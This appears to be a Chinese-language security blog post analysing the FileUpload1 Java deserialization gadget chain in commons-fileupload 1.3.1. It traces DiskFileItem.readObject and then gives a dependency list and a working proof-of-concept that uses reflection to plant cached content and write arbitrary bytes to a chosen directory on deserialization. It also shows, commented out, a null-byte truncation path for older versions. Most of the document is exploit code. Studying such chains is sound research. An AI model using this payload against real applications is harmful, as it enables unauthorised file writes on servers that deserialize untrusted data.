FileUpload1反序列化链

正文

FileUpload1这条链入口点是DiskFileItem,看看他的readObject方法

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    if (this.repository != null) {
        if (!this.repository.isDirectory()) {
            throw new IOException(String.format("The repository [%s] is not a directory", this.repository.getAbsolutePath()));
        }

        if (this.repository.getPath().contains("\u0000")) {
            throw new IOException(String.format("The repository [%s] contains a null character", this.repository.getPath()));
        }
    }

    OutputStream output = this.getOutputStream();
    if (this.cachedContent != null) {
        output.write(this.cachedContent);
    } else {
        FileInputStream input = new FileInputStream(this.dfosFile);
        IOUtils.copy(input, output);
        this.dfosFile.delete();
        this.dfosFile = null;
    }

    output.close();
    this.cachedContent = null;
}

首先判断repository是否为空并且是否包含\u0000,这里的repository是文件保存在硬盘上的位置,在commons-fileupload的1.3.1版本中,修复了可以用\0截断写文件的问题,也就是第二个if语句,然后调用了getOutputStream获取了一个输出流output,在cachedContent不为空的时候通过输出流把cachedContent输出。来看看getOutputStream

public OutputStream getOutputStream() throws IOException {
    if (this.dfos == null) {
        File outputFile = this.getTempFile();
        this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
    }

    return this.dfos;
}

这里的输出流实际上是DeferredFileOutputStream,继续跟进getTempFile

protected File getTempFile() {
    if (this.tempFile == null) {
        File tempDir = this.repository;
        if (tempDir == null) {
            tempDir = new File(System.getProperty("java.io.tmpdir"));
        }

        String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());
        this.tempFile = new File(tempDir, tempFileName);
    }

    return this.tempFile;
}

这就是获取一个输出的位置,如果tempFile是空就构造一个返回。

构造

pom.xml

<dependency>
    <groupId>commons-fileupload</groupId>
    <artifactId>commons-fileupload</artifactId>
    <version>1.3.1</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.4</version>
</dependency>

poc如下, 代码是su18师傅的代码被我小改动了一点

package FileUpload;

import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;

import java.io.*;
import java.lang.reflect.Field;

public class FileUpload1 {
    public static void main(String[] args) throws Exception {

        // 创建文件写入目录 File 对象,以及文件写入内容
        String charset = "UTF-8";
        byte[] bytes   = "hahaha".getBytes(charset);

        // 在 1.3 版本以下,可以使用 \0 截断
        //File repository = new File("/Users/phoebe/Downloads/123.txt\0");

        // 在 1.3.1 及以上,只能指定目录
      File   repository = new File("E:\\2");

        // 创建 dfos 对象
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);

        // 使用 repository 初始化反序列化的 DiskFileItem 对象
        DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

        // 序列化时 writeObject 要求 dfos 不能为 null
        Field dfosFile = DiskFileItem.class.getDeclaredField("dfos");
        dfosFile.setAccessible(true);
        dfosFile.set(diskFileItem, dfos);

        // 反射将 cachedContent 写入
        Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
        field2.setAccessible(true);
        field2.set(diskFileItem, bytes);
        serialize(diskFileItem);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}